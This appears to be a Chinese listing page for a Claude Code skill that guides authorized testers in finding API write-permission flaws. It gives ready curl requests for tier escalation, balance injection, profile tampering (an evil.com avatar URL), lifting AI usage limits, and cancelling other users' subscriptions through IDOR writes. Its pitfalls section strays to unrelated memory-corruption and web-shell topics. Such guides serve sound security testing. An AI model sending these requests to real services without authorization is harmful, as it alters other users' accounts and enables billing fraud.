关于 hunt-write-gap
hunt-write-gap 是面向授权安全测试人员的 Web API 安全审计技能,用于检查写操作是否绕过权限控制。它涵盖端点发现、特权字段篡改、跨用户写入测试及结果验证。
主要功能
- 01识别可写入的 API 端点
- 02测试特权字段修改
- 03检测跨用户写入漏洞
- 04通过读取验证数据是否持久化
- 05说明漏洞影响与常见误报
适用场景
- 01审计 SaaS API 的写权限控制
- 02检查订阅、角色或余额篡改风险
- 03验证行级安全策略是否阻止跨用户修改
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill hunt-write-gap安装后在 Claude Code 中输入/hunt-write-gap确认已加载。
详细介绍
适用场景
你已通过身份验证,可以访问目标并读取自己的数据(个人资料、设置、记录),但需要测试自己是否能超出授权级别修改数据。这是由 Supabase 驱动的 SaaS 中最常见的模式,也越来越常见于 Firebase、自定义 REST API 和 GraphQL 后端。
此模式:GET /resource 仅返回你的数据(RLS/身份验证正常工作)。PATCH /resource 则允许你更改任何内容,包括等级、角色、余额和订阅状态。
阶段 1 — 识别可写入的端点
根据之前的侦察结果(枚举架构、分析 JS 包),整理一份接受写入方法的端点列表:
TARGET="https://api.target.com"
TOKEN="<your_auth_token>"
# Test common write methods on all discovered endpoints
for ep in users subscribers profiles accounts settings; do
for method in PATCH PUT POST; do
code=$(curl --max-time 30 --connect-timeout 10 -sk -X "$method" -w "%{http_code}" -o /tmp/resp.txt \
"${TARGET}/${ep}" \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" -d '{}' 2>/dev/null)
if [ "$code" != "404" ] && [ "$code" != "405" ]; then
echo " $method /${ep}: HTTP $code"
fi
done
done
200/400 响应表示端点存在且接受写入。404 表示端点不存在。405 表示方法错误。
阶段 2 — 测试写入操作
对于每个已确认可写入的端点,测试你是否能修改特权字段:
# Tier/role escalation
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "${TARGET}/subscribers?user_id=eq.${USER_ID}" \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"tier_id":"<PRO_TIER_ID>","subscribed":true}'
# Balance manipulation
curl --max-time 30 --connect-timeout 10 -sk -X POST "${TARGET}/movements" \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"name":"test","amount":999999,"type":"income"}'
# Profile tampering
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "${TARGET}/profiles?user_id=eq.${USER_ID}" \
-H "Authorization: Bearer ${TOKEN}" \
-d '{"full_name":"HACKED","avatar_url":"https://evil.com/pwned.png"}'
# AI/rate limits bypass
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "${TARGET}/ai_usage_limits?user_id=eq.${USER_ID}" \
-H "Authorization: Bearer ${TOKEN}" \
-d '{"document_analysis_limit":99999}'
阶段 3 — 测试跨用户写入(IDOR 写入)
确认自己的数据可写入后,测试你是否能修改其他用户的数据:
# Try to write with a filter targeting other users
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "${TARGET}/subscribers?user_id=neq.${MY_USER_ID}" \
-H "Authorization: Bearer ${TOKEN}" \
-d '{"subscribed":false}' # Try to cancel others' subscriptions
# Response: [] (empty = RLS blocked cross-user write — GOOD)
# Response: [{...}] (data returned = RLS MISSING for cross-user write — CRITICAL)
已确认的漏洞模式
| 模式 | 端点 | 影响 |
|---|---|---|
| 升级等级 | PATCH /subscribers | 从免费版升至 Pro,获得终身订阅 |
| 注入余额 | POST /movements | 伪造收入,破坏分析数据 |
| 劫持个人资料 | PATCH /profiles | 修改名称/头像,成为钓鱼攻击媒介 |
| 绕过 AI 限制 | PATCH /ai_usage_limits | 无限 AI 处理 |
| 移除速率限制 | PATCH /rate_limits | 绕过所有使用配额 |
| 篡改配置 | PATCH /settings | 修改全局应用配置 |
验证
- 确认存在写入漏洞:PATCH/POST 返回 200,且响应正文中包含已修改的数据。通过对同一资源执行 GET 进行验证。
- 受到保护:返回 401/403,或静默丢弃未经授权的字段。
- 误报:端点接受请求,但实际上并未保存更改(通过 GET 验证)。
后续步骤
- 如果确认存在写入漏洞 → 按 CRITICAL 报告(权限提升 + 业务逻辑绕过)
- 如果跨用户写入可行 → 按 CRITICAL 报告(IDOR 写入 = 完全接管所有用户账户)
- 如果只能写入自己的数据 → 检查
hunt-business-logic,评估自我修改带来的经济影响
验证
运行此自测,以确认已准备好进行写入漏洞排查:
-
技能完整性 — 确认技能文件可读且格式正确:
grep -q "name: hunt-write-gap" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL" grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL" -
类别检查 — 确认技能具有类别:
grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL" -
陷阱部分 — 确认已记录常见陷阱:
grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
全部 3 项测试均通过,即可确认该技能结构正确,可以使用。
常见陷阱
- 能写入任意地址,却没有利用效果 — 向任意地址写入任意数据的能力本身就是发现的问题。需要证明写入能达成什么效果。
- 竞态条件写入与原子写入 — 如果写入是原子的(单条指令),则可能无法利用。需要存在竞态窗口。
- 写入文件但无法执行 — 写入磁盘只是一种原语。还需要能够执行写入的内容(Web shell、cron 作业、DLL 劫持)。
- 内存损坏写入但无法控制 — 让服务器崩溃不算发现的问题。需要实现可控写入,并造成可预测的影响。
评论
支持 Markdown